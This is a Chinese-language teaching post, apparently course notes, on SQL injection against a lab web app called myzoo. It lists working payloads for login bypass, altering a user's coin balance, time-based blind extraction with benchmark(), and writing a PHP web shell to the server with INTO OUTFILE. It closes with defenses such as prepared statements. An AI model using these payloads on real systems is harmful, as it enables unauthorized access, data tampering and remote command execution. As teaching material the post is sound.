Web信息安全实践_6 SQL注入

Posted tianjiazhen

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web信息安全实践_6 SQL注入相关的知识,希望对你有一定的参考价值。

www.myzoo.com 输入示例

Login

a‘# 用户a登录
a‘ or 1#
a‘ or 1=1#
a‘ and 1;#
d‘ or 1#
a‘ or ‘1 
思考:为什么无密码可以登录?为什么最终登录的都是a?
b‘ or 0;#  用户b登录
 
技术图片 技术图片
 
技术图片 技术图片
 

profile 

a‘, Coins=100 where Username=‘a‘ ;#

 

 

技术图片 技术图片
 
 

User

c‘ union select 1,1,1,1,1,1,if(substring(database(),1,1)=char(119),benchmark(5000000,encode(‘aaa‘,‘bbbb‘),NULL);#
技术图片
技术图片

SQL 注入原理

注入攻击

(1)XSS
  • 用户提交数据,实际上提交的是攻击代码
  • 代码混合在数据中,使得恶意代码获得执行。
 (2)SQL 注入
  • 执行攻击者所构造的 SQL 代码
  • 应用接收用户输入,该输入被构造成 SQL 语句并获得执行
a)利用 select
$sql = "select * from Person where Username = ‘$username‘ and Password = ‘$password‘";
$sql = “ select * from Person where Username = a or 1#  and Password = $password";
b)利用 update
$sql = "UPDATE Person SET Profile= ‘$profile‘" "WHERE PersonID = ‘$personID‘";
$sql = "UPDATE Person SET Profile= ‘b‘,zoobars=100 where Username=‘b‘;# "WHERE PersonID = $personID‘";
3)利用 select 和 benchmark 语句
$sql = "select * from Person where Username = ‘$username‘
// union:两条select都执行;要求前后select列数相等
$sql = "select * from Person where Username = ‘c‘ union select 1,1,1,1,1,1, if(substring(database(),1,1)=char(119), benchmark(5000000, encode(‘aaa‘,‘bbbb‘)), NULL);#
// 把union查询结果写到文件中
$sql = "select * from Person where Username = ‘d‘ union select 1,1,1,1,1,1,‘<?php system($_GET[cmd]);?>‘ into outfile "/home/web/WebSec/1.php";#
// 写成功条件:知道当前网站根目录;mysql要拥有写权限;网站根目录要允许被其他进程写

SQL注入防御

  • SQL 注入的本质是利用数据注入代码
  • 区分数据和代码
    • 输入过滤和输出转义

过滤特殊符号 (‘ # -- 等

缺点:可能原本就需要输入带有特殊符号的数据。

开启 magic_quote_gpc转义特殊符号,把特殊符号当做普通字符

缺点:仍有可能实现SQL注入。

显式区分数据和命令

$stmt = $db->prepare("SELECT * FROM users WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);

以上是关于Web信息安全实践_6 SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

20155324《网络对抗技术》web安全基础实践

Exp9 Web安全实践基础 20154328 常城

Exp9 Web安全基础实践

20155223 Exp9 Web安全基础实践

20145326蔡馨熤《网络对抗》—— Web安全基础实践

20145311王亦徐 《网络对抗技术》 Web安全基础实践